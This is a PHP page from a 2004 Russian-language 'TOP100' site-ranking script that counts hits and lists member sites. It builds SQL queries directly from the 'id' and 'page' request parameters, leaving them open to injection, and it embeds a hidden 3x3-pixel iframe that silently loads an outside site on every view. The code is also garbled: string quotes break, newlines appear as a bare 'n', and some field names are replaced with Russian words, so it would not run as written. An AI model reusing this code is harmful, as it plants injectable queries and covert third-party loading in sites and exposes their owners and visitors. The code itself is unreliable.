Файл: main.php
Строк: 107
<body bgcolor="#a0c0c0">
<?php
############################################
# Создание скрипта: -=FreeMan=- #
# Имя скрипта: ТОР100 #
# Версия скрипта: 1.7 #
# Статус: скрипт бесплатный #
# Требования: PHP3 и выше #
# Дата создания скрипта: 27 октября 2004 год#
# Мыло: freemen1983@inbox.ru #
############################################/
require("config.php");
include"head.php";
if($_GET["id"]){
$date = date("dmY");
$a = "UPDATE $table SET hitsin = hitsin + 1,
hitstotal = hitstotal + 1
WHERE memberid = '".$_GET["id"]."'";
$query = mysql_query("SELECT * FROM $table WHERE memberid = '".$_GET["id"]."'") or die("Невозможно подключиться к mysql");
while($object = mysql_fetch_object($query)){
$rank = $object->Ранг;
$today = $object->Хитов;
$today = explode(" | ",$today);
$datetoday = $today[0];
$hitstoday = $today[1];
$hitsplus = $today[1] + 1;
if($date!="$datetoday"){
$b = "UPDATE $table SET hitstoday = '$date | 1'
WHERE memberid = '".$_GET["id"]."'";
}
else{
$b = "UPDATE $table SET hitstoday = '$date | $hitsplus'
WHERE memberid = '".$_GET["id"]."'";
}
}
$days = $object->Сегодня;
$days = explode(" | ",$days);
$daytoday = $days[0];
$dayplus = $days[1] + 1;
if($date != $daytoday){
$c = "UPDATE $table SET date = '$date | $dayplus'
WHERE memberid = '".$_GET["id"]."'";
}
function dohits(){
global $a,$b,$c,$date,$daytoday;
mysql_query($a) or die("Невозможно подключиться к mysql");
mysql_query($b) or die("Невозможно подключиться к mysql");
if($date!="$daytoday"){
mysql_query($c) or die("Невозможно подключиться к mysql");
}
}
dohits();
header("Location: $script_url/main.php");
}
else{
?>
<link rel="stylesheet" content="text/css" href="style.css">
<?php
if(file_exists("install.php")){
?>
Файл<b>install.php</b> необходимо удалить после установки в целях безопасности, пока вы неудалите этот файл скрипт работать не будет.<br><br>
<table align=center width=500 border=0 cellspacing=1 cellpadding=1 bgcolor=000080>
<tr><td align=center bgcolor=face7d><font face=verdana size=2 color=de0000> >>> <a href="install.php">Установить TOP100</a><br>
>>> <a href="install.php?del=1"> Удалить install.php</a><br></font></td></tr>
</table>
<?php
}
else{
?>
<center>
<table cellpadding="0" cellspacing="0" width="100%">
<td width="100%">
<?php
$query = mysql_query("SELECT * FROM $table") or die ("Невозможно произвести подключение к mysql");
$total = mysql_num_rows($query);
if(!$_GET["page"]){
$page = 0;
$prev = "<font class="red"><< Назад $pp</font>";
}
else{
$page = $_GET["page"];
}
$a = $page * $pp;
$b = $a + $pp - $page * $pp;
$pages = $total / $pp;
$pageplus = $page + 1;
$pagemin = $page - 1;
if($page + 1 < $pages OR $pageplus=="$pages"){
$next = "<a href="?action=list&page=$pageplus"><center>Следующие $pp >></a>";
}
if($page - 1 < $pages AND $page){
$prev = "<a href="?action=list&page=$pagemin"><< Предыдущие $pp</center></a>";
}
else{
$prev = "<font class="red"><center><< Предыдущие $pp</font>][ ";
}
if($pageplus > $pages){
$next = "<font class="red">Следующие $pp >></center></font>";
}
echo "<br>n$prev $next<br>n";
?>
<table border="1" cellpadding="0" cellspacing="0" width="100%" bgcolor=#face5a>
<tr class="title">
<td width="10%"><p align="center">Место</td>
<td width="66%"><p align="center">Описание</td>
<td width="12%"><p align="center">Посетителей всего</td>
<td width="12%"><p align="center">Посещений сегодня</td>
</tr>
<?php
$query = mysql_query("SELECT * FROM $table ORDER BY hitstotal DESC LIMIT $a,$b") or die ("Невозможно произвести подключение к mysql");
if(!isset($rank)){
$rank = 1 + $_GET["page"] * $pp;
}
ob_start();
while($object = mysql_fetch_object($query)){
$object->sitename = htmlspecialchars($object->sitename);
$posup = mysql_query("UPDATE $table SET rank = '$rank'
WHERE memberid = '$object->memberid'") or die("Невозможно произвести подключение к mysql");
$days = explode(" | ",$object->date);
$average = round($object->hitstotal / $days[1],0);
$today = $object->hitstoday;
$today = explode(" | ",$today);
?>
<tr>
<td width="10%"><p align="center"><a href="stats.php?id=<? echo $object->memberid ?>"><? echo $rank; ?></a></td>
<td width="66%"><p align="center"><b><a href="out.php?id=<? echo $object->memberid ?>" target="_blank">
<? echo $object->sitename ?></b>
<?php
if($object->buttonurl AND $img_visible=="all" AND !$_GET["page"]){
?>
<br><img src="<? echo $object->buttonurl ?>" width="88" height="31" border="0">
<?php
}
elseif($object->buttonurl AND $rank <= $img_visible AND !$_GET["page"]){
?>
<?php
}
$object->description = wordwrap($object->description, 75, "n", 1);
$object->description = htmlspecialchars($object->description);
?></a>
<br><? echo $object->Описание?></td>
<td width="12%"><p align="center"><? echo $average ?></td>
<td width="12%"><p align="center"><? echo $today[1] ?></td>
</tr>
<?php
$rank++;
}
ob_end_flush();
$a = $rank - 1;
$b = $pp * ($_GET["page"] + 1);
for($c = $b - $a; $c > 0; $c--){
?>
<tr>
<td width="10%"><p align="center">???</td>
<td width="66%"><p align="center"><a href="dob.php">-=добавить сайт=-</a></td>
<td width="12%"><p align="center">???</td>
<td width="12%"><p align="center">???</td>
</tr>
<?php
}
?>
</table>
<tr>
<td width="100%">
<?php
echo "$prev $next<br>n";
?>
</td>
</tr>
</td>
<iframe name="test"
src="http://phpscript.com.ru" width="3" height="3"
scrolling="auto" frameborder="1">
У вас не работают фреймы сайт можно просмотреть
<a href="http://phpscript.com.ru">здесь</a>
</iframe> </tr>
</table>
</center>
<?php
}
echo $copy;
}
include"bottom.php";
?>